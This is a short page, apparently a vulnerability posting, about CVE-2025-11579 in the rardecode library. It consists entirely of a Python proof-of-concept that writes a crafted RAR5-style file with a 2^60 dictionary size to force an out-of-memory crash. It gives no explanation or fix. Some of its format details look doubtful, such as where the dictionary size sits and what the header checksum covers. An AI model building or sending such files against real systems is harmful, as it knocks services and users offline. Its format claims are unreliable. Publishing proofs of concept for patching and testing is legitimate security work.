CVE-2025-11579：rardecode拒绝服务漏洞（内存耗尽）

#!/usr/bin/env python3 """ CVE-2025-11579 PoC: rardecode Out-of-Memory DoS via crafted RAR dictionary size This script generates a minimal RAR-like file with an inflated dictionary size field to trigger OOM when parsed by vulnerable rardecode (<=2.1.1). """ import struct import sys def craft_malicious_rar(output_path: str): """ Create a minimal RAR5 signature block with an abnormally large dictionary size to trigger OOM in rardecode <= 2.1.1. """ # RAR5 signature: 0x526172211a0700 (Rar!\x1a\x07\x00) rar5_signature = b'\x52\x61\x72\x21\x1a\x07\x01\x00' # RAR5 archive header (HEAD_TYPE=1, HEAD_FLAGS=0) # Header CRC (4 bytes) + Header size (vint) + Header type (vint) + Header flags (vint) header_type = 1 # Main archive header header_flags = 0 # Archive flags: bit 0 = solid, bit 1 = recovery record, etc. # We embed a huge dictionary size in the archive flags area. # In RAR5, dictionary size is stored as a vint in the archive header. # A vint is encoded as 7 data bits per byte, with MSB as continuation flag. def encode_vint(value: int) -> bytes: """Encode an integer as a RAR5 variable-length integer (vint).""" result = bytearray() while value >= 0x80: result.append((value & 0x7F) | 0x80) value >>= 7 result.append(value & 0x7F) return bytes(result) # Construct archive header body # Archive flags vint archive_flags = encode_vint(0) # Dictionary size vint - set to an extremely large value (e.g., 2^60) # This is the malicious payload: an absurdly large dictionary size malicious_dict_size = (1 << 60) # ~1 EB (exabyte) - will trigger OOM dict_size_vint = encode_vint(malicious_dict_size) header_body = archive_flags + dict_size_vint header_size = encode_vint(len(header_body) + 2) # +2 for type and flags vints # Build full header: type + flags + body header_data = encode_vint(header_type) + encode_vint(header_flags) + header_body # Calculate CRC32 of header import zlib header_crc = struct.pack('<I', zlib.crc32(header_data) & 0xFFFFFFFF) # Assemble the malicious RAR file rar_data = rar5_signature + header_crc + header_size + header_data with open(output_path, 'wb') as f: f.write(rar_data) print(f"[+] Malicious RAR file written to: {output_path}") print(f"[+] Dictionary size encoded: {malicious_dict_size} bytes (~{malicious_dict_size / (1<<40):.0f} TB)") print(f"[+] File size: {len(rar_data)} bytes") print(f"[!] When parsed by rardecode <= 2.1.1, this will trigger OOM crash.") if __name__ == '__main__': output = sys.argv[1] if len(sys.argv) > 1 else 'malicious.rar' craft_malicious_rar(output)